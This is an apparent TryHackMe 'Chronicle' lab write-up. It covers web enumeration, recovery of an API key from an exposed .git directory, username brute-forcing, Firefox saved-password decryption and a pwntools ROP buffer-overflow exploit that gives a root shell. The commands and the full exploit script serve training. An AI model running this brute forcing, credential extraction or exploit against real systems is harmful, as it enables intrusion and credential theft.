← back to write ups

Write Up

Chronicle

TryHackMe Medium 60 pts Linux Room ↗

Initial Reconnaissance

An nmap scan reveals three open ports:

Web Enumeration

On port 8081, a login page and /forget endpoint were discovered. The forgot-password functionality required an API key that was missing from the implementation. JavaScript source at /static/js/forget.js confirmed the API key was necessary.

Finding the API Key

Directory enumeration on port 80 revealed an /old directory. Further fuzzing uncovered a .git repository:

gobuster dir -u chronicle.thm -w /usr/share/wordlists/dirb/common.txt -t 20 -x php,html,bak,txt,db,zip
ffuf -u http://chronicle.thm/old/FUZZ -w raft-large-directories-lowercase.txt
wget --recursive http://chronicle.thm/old/.git --continue

Git history analysis exposed the API key: 7454c262d0d5a3a0c0b678d6c0dbc7ef

Username Brute Force

With the API key, the forgot-password endpoint was tested. Since the correct username was unknown, ffuf was used to brute force it:

ffuf -w /opt/SecLists/Passwords/Common-Credentials/10k-most-common.txt -X POST \
  -d '{"key":"7454c262d0d5a3a0c0b678d6c0dbc7ef"}' \
  -u http://chronicle.thm:8081/api/FUZZ -fw 2

This yielded credentials for user tommy.

SSH Access & Further Enumeration

SSH access was gained with tommy's credentials. Linpeas revealed little, but a .mozilla directory in carlJ's home contained a Firefox profile.

Firefox Credential Extraction

The Firefox default release profile was extracted and decrypted using firefox_decrypt.py:

wget --recursive chronicle.thm:8000/0ryxwn4c.default-release --continue
python3 firefox_decrypt.py 0ryxwn4c.default-release

The password prompt was satisfied with "password1", revealing credentials for user carlj.

Buffer Overflow Exploitation

As carlJ, a binary named smail was discovered in the Mailing directory. Testing with input exceeding 80 characters triggered a segmentation fault, indicating a buffer overflow vulnerability. Exploit development required:

Final Exploit

from pwn import *

p = process('./smail')

base = 0x7ffff79e2000
sys = base + 0x4f550
binsh = base + 0x1b3e1a

rop_rdi = 0x4007f3

payload = b'A' * 72
payload += p64(0x400556)
payload += p64(rop_rdi)
payload += p64(binsh)
payload += p64(sys)
payload += p64(0x0)

p.clean()
p.sendline("2")
p.sendline(payload)
p.interactive()

This ROP chain executed /bin/sh with elevated privileges, achieving root access.